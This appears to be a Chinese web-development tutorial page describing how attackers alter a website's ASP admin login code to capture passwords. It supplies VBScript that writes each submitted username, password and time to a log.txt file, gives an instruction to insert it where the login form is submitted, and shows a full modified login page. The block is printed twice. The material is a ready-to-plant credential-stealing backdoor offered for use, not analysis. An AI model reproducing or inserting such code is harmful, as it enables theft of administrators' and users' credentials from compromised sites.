Asp截獲后臺(tái)登錄密碼的代碼
更新時(shí)間:2012年05月05日 01:18:32 作者:
很多黑客通過修改后臺(tái)登陸代碼獲得目標(biāo)網(wǎng)站的用戶登錄密碼,這樣我們一旦輸入了密碼就保存到一個(gè)txt里面
核心代碼:
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
在后臺(tái)登錄處表單提交的地方插入!
參考文件:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用戶名不能為空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密碼不能為空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>驗(yàn)證碼不能為空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登錄時(shí)間過長,請(qǐng)重新返回登錄頁面進(jìn)行登錄。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您輸入的確認(rèn)碼和系統(tǒng)產(chǎn)生的不一致,請(qǐng)重新輸入。</li>"
end if
'這后面是我增加的代碼~開始區(qū)域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代碼被我刪除了~結(jié)束區(qū)域
%>
本文涉及語句作者是:會(huì)的不多iFat
復(fù)制代碼 代碼如下:
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
在后臺(tái)登錄處表單提交的地方插入!
參考文件:
復(fù)制代碼 代碼如下:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用戶名不能為空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密碼不能為空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>驗(yàn)證碼不能為空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登錄時(shí)間過長,請(qǐng)重新返回登錄頁面進(jìn)行登錄。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您輸入的確認(rèn)碼和系統(tǒng)產(chǎn)生的不一致,請(qǐng)重新輸入。</li>"
end if
'這后面是我增加的代碼~開始區(qū)域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代碼被我刪除了~結(jié)束區(qū)域
%>
本文涉及語句作者是:會(huì)的不多iFat
您可能感興趣的文章:
相關(guān)文章
關(guān)于無限分級(jí)(ASP+數(shù)據(jù)庫+JS)的實(shí)現(xiàn)代碼
關(guān)于無限分級(jí)(ASP+數(shù)據(jù)庫+JS)的實(shí)現(xiàn)代碼...2007-05-05
Asp 操作Access數(shù)據(jù)庫時(shí)出現(xiàn)死鎖.ldb的解決方法
在一天某個(gè)時(shí)間段內(nèi)打不開,等待好幾分鐘就會(huì)說asp腳本超時(shí),但FTP可以登陸進(jìn)去,查看數(shù)據(jù)庫目錄時(shí),發(fā)現(xiàn)與數(shù)據(jù)庫(我的數(shù)據(jù)庫是access數(shù)據(jù)庫)同名的記錄鎖定信息文件 (.ldb文件)一直都在那里2009-04-04
asp DateDiff實(shí)現(xiàn)文字在特定時(shí)間后消失
在asp中實(shí)現(xiàn)文字在特定時(shí)間后消失,主要是使用DateDiff函數(shù)!2009-07-07

